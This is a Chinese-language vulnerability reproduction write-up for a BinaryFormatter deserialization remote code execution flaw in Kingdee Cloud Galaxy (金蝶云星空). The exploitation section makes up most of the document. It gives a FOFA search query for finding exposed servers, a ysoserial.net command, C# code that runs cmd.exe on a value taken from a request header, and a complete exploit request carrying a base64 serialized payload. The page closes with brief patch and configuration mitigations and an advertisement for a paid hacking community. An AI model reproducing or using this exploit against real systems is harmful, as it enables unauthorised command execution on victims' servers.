0x01 产品简介

0x02 漏洞概述

    由于金蝶云星空数据通信默认采用的是二进制数据格式，需要进行序列化与反序列化，在此过程中未对数据进行签名或校验，导致客户端发出的数据可被攻击者恶意篡改，写入包含恶意代码的序列化数据，达到在服务端远程命令执行的效果。该漏洞不仅存在于金蝶云星空管理中心（默认8000端口），普通应用（默认80端口）也存在类似问题。

0x03 影响范围

0x04 复现环境

FOFA：app="金蝶云星空-管理中心"

0x05 漏洞复现 

 简单的分析了一下漏洞，属于.net反序列化场景中的 BinaryFormatter反序列化，BinaryFormatter位于命名空间 System.Runtime.Serialization.Formatters.Binary它是直接用二进制方式把对象进行序列化，优点是速度较快，在不同版本的.NET平台里都可以兼容。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击。

本次复现需要使用ysoserial.net工具构造恶意序列化数据实现RCE 

工具地址：https://github.com/pwntester/ysoserial.net

 PoC

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: your-ip
Content-Type: text/json
{"ap0":"asdas","format":"3"}

 可以发现请求体ap0参数构造任意字符串发起请求时会出现序列化异常，这种情况则存在漏洞

使用 ysoserial.net工具构造Payload

 .\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

命令中  -f 指定的是.net程序中的序列化类，-g 是ysoserial.net工具中的攻击链， 这里指定的是ActivitySurrogateSelectorFromFile链，这个攻击链可加载自定义的程序集。-c 是构造的程序集（a.cs），后面的dll文件是.NET Framework中的一个核心DLL文件，包含了一些相关的类和方法(自行加载，不需要构造)

编写一个从请求头中获取参数执行命令的ASP.NET 程序

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

PS：通过接收 HTTP请求中的 cmd 参数，将其作为命令行参数传递给 cmd.exe 进程，并获取其输出结果，最终将输出结果作为 HTTP 响应返回给客户端（需放到ysoserial.net工具目录下或指定绝对路径）

生成序列化数据，加载到PoC中

 最终exp:

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: your-ip
Content-Type: text/json
cmd: dir
{"ap0":"AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rp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 利用成功

0x06 修复建议

临时缓解方案

8.x版本可通过手动添加安全配置并重启IIS的方式进行缓解，注意管理中心与普通应用配置文件均需添加：

# 普通应用配置：{WebROOT}\Kingdee\K3Cloud\WebSite\App_Data\Common.config
# 管理中心配置：{WebROOT}\Kingdee\K3Cloud\Services\ManagementService\App_Data\Common.config
EnabledKDSVCBinary = false

由于该漏洞不仅影响管理中心（默认8000端口），也影响普通应用（默认80端口）。如果其它版本通过限制访问来源临时缓解漏洞，需要考虑是否会中断普通用户Web业务。

升级修复方案

7.x版本必须先安装全量补丁（修复代码）后安装临时补丁（添加安全配置）

8.x版本管理中心（默认8000端口）默认不对外开放，且包含修复代码。但是直接安装临时补丁可能会失败，所以依旧建议先安装全量补丁（修复代码）后安装临时补丁（添加安全配置）。

知识星球

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涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源，针对网络安全成员的普遍水平，并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

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